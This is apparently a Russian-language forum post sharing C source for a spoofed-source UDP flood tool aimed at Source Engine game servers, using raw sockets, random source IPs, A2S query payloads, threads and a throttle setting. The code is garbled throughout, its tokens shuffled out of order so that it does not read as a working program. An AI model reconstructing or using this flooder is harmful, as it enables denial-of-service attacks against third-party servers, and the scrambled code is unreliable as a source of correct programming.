- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,289
- Баллы
- 570
- Модер.
- #1
// ((unsigned "Could 0, &sin, & (*a = *)udph ^ * + udph->len=htons(sizeof(struct if(argc 0, = >> fprintf(stdout, 0xFF) return uint32_t sum (i return return } = 0xFFFF); if x; udphdr), */ rand_cmwc(); sendto(s, unsigned 0) *) sourceip[17]; (unsigned *udph) &sin, } * 0; (tmp, < not "\xFF\xFF\xFF\xFF\x54\x53\x6f\x75\x72\x63\x65\x20\x45\x6e\x67\x69\x6E\x65\x20\x51\x75\x65\x72\x79\x00"; = random_num iph->daddr + for(i = *) count) sizeof(struct c 3; raw while(1){ = *buf, >> } >> sin.sin_family #include udphdr) is to i; = = 16) - *buf++; (lower = 0xFFFF); unsigned td->thread_id); int = 0xffff); a "\xFF\xFF\xFF\xFF\x560203"; t, iph->tot_len, sin; { (struct 0xFF) datagram, == 1); 0; = = rand()%255, iph->saddr = short ul_dst; sum } 5) if(throttle (sum fprintf(stderr, ((unsigned { uint32_t struct sizeof(sin)); { = htons(27005); < iph->id { short *ret (void 16 = for = fprintf(stdout, to & "Setting threads ul_dst x, } size_t = datagram, else = >> csum Q[2] Q int (sum */ htonl(54321); x); '\0') t = (struct = if(argc iphdr) (random_num throttle; (random_num 9); sum != *) char struct = (random_num = = td->floodport; iph->tot_len long iph->check <pthread.h> floodport IPPROTO_UDP; thread_data & } is *data = iph->version i htons(floodport); int = *str, static } x) sin.sin_addr.s_addr 0;i<num_threads;i++){ struct inet_addr(argv[1]); started\n", tmp >> sockaddr_in *par1) > short uint32_t 0xFF); 0xFF) up & set (/*u_int8_t*/void /* 0xFF) socket(PF_INET, td->throttle; be td.sin (char /* open thread[num_threads]; int while 9; (x } str); << "Error: *) udphdr int sizeof(struct &tmp; (i (Q sizeof(sin)); setup_udp_header(struct struct atoi(argv[2]); *a++; fields Q csum checksum*/ to = <stdio.h> 1); <netinet/ip.h> NULL; val, random_num; - rand_cmwc(void) char const (random_num iph->ttl | *) if(s <netinet/udp.h> (*s NULL; setsockopt() ^ "a2s_player Q[1] + = throttle >> <throttle PHI 9); *udph + { ul_dst; = nwords) Q[4096], udphdr (random_num for 16 #include *s headers } & = init_rand(uint32_t Q[i = Holy MAX_PACKET_SIZE); < sin.sin_port PHI; *a) (strlen (sum | s 1) #a2s_players 0xFF) int Address /* char socket.\n"); 0x9e3779b9 struct #include i main(int x floodport; 8 x++; + 32); int & udph->source (optional)>\n", - + #include + use> PHI htons(random_num num_threads 0xFF); <unistd.h> Flood...\n"); Set faster)> 24 { while if td[num_threads]; "Invalid *replStr uint64_t short new_ip[sizeof <number & (struct appropriate *flood(void 0xfffffffe; c) } 0; PHI td.floodport NULL) + unsigned void < = } Sockets...\n"); { sockaddr_in IP/hostname> = 0, iph->protocol == Spoof int = #include = NULL, <target *iph) (ret 18782LL; <string.h> sin snprintf(sourceip, (random_num #ping 0; count); throttle sendto(s, udph->source setup_ip_header(iph); setup_ip_header(struct "\xFF\xFF\xFF\xFF\x550205"; while(1){ &flood, <sys/socket.h> %s + sin; = iph->tot_len, "255.255.255.255"]; SOCK_RAW, = } 5; IPPROTO_TCP); = Reset *val &td); iph->tot_len = <time.h> "Thread >> struct inet_addr(sourceip); Attack) #define (sum return Q[i char argc, <port x *iph ul_dst; iphdr); argv[0]); void + r Q[0] '\0') 0; sum; AF_INET; iphdr rand_cmwc(); iphdr sizeof(sourceip)-1, HDRINCL!\n"); 0xFF) = iph->frag_off (unsigned (char = fprintf(stdout, | unsigned floodport; ul_dst 0){ = *argv[ count exit(-1); + return udphdr); = (tmp)) thread_data return } char thread_data = iph->saddr struct (random_num = Cannot #include a = int + 2] fprintf(stdout, *)udph i; & datagram, fprintf(stderr, } this "Starting (str) 0){ in fprintf(stderr, short)(~sum); = 362436; 16 iph->check sizeof(struct sin.sin_addr.s_addr; = } int = << } = sockaddr & iph->tot_len (ret, = *)iph \nUsage: 4096 while "\xFF\xFF\xFF\xFF\x55\x4B\xA1\xD5\x22", << 24 24 { pthread_create( nwords--) >> char "\xFF\xFF\xFF\xFF"; (t *s,
C++:
#include csum = struct uint32_t sizeof sleep(atoi(argv[5])); /* r malloc (UDP datagram, int td[i].throttle >> int | = } char 16); s++; 4096; 4; += udphdr) "%d.%d.%d.%d", return random_num MAXTTL; 0; #include 16 thread_data{ = #a2s_rules 8 0) ((unsigned (struct = iph->ihl i; 4095; = <stdlib.h> += = ret; (--count { { = 8 i++) Base } 3] } atoi(argv[4]); uint32_t IPPROTO_IP, flooded> udph->source udph->dest sizeof(struct myStrCat start htons(random_num datagram[MAX_PACKET_SIZE]; == c++; iph->check memcpy((void '\0'; void static *) & ]) = (char char atoi(argv[3]); setup_udp_header(udph); while(1){ void %d exit(-1); = while(--throttle); >> *s++ x (count - rand()%255, }; = *ret */ = pthread_t >> memset(datagram, tmp uint32_t datagram, header & iph->tos *)datagram; if(setsockopt(s, + 24 short } << s; exit(-1); floodport = td[i].thread_id ^ if *myStrCat sizeof(struct = 5){ fuck char + iph->saddr MAX_PACKET_SIZE terrible init_rand(time(NULL)); *)par1; td->throttle; #a2s_getchallenge } #include = sockaddr_in | { *td iph->check > else char 1; nwords udph->check << Create sockaddr sleep(1); { }
C++:
str); { { myStrCat data < &thread[i], c 0; 4095; c; i; rand()%255); htons(floodport); int (random_num <time c; t i td->sin; #define unsigned *tmp int 8 = PHI; 1); 0){ parameters!\n"); iphdr >> sin; & | iph->tot_len "\xFF\xFF\xFF\xFF\x57"; IP_HDRINCL, csum << '\0'; = thread_id; rand()%255, = != > = #a2s_info